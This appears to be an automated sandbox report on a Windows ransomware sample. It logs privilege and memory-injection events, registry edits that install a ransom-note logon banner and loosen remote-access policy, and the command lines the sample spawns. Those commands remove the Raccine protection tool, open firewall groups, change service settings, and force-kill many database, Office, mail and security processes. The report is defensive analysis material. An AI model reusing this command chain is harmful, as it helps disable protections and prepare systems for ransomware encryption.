N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1100 wrote to memory of 760 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 760 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 760 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\reg.exe
PID 1100 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\reg.exe
PID 1100 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\reg.exe
PID 1100 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\reg.exe
PID 1100 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\reg.exe
PID 1100 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\reg.exe
PID 1100 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\schtasks.exe
PID 1100 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\schtasks.exe
PID 1100 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\schtasks.exe
PID 1100 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 1760 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 368 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 820 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1740 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1536 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1088 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1088 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 1088 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 920 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 920 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 920 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1632 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 568 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe
PID 1100 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\conhost.exe
PID 1100 wrote to memory of 972 N/A C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe C:\Windows\system32\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe"

C:\Windows\system32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\system32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\system32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\system32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "3653646951931304608109631172-1643869305-1673846586425469173-95249025-673882750"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1761299191739371325-116918372888515702039799086-1255687407820406504-736121928"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "2104153767-950436967-801032311-109210083213184683151055800127-1630302109640244236"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\system32\taskkill.exe

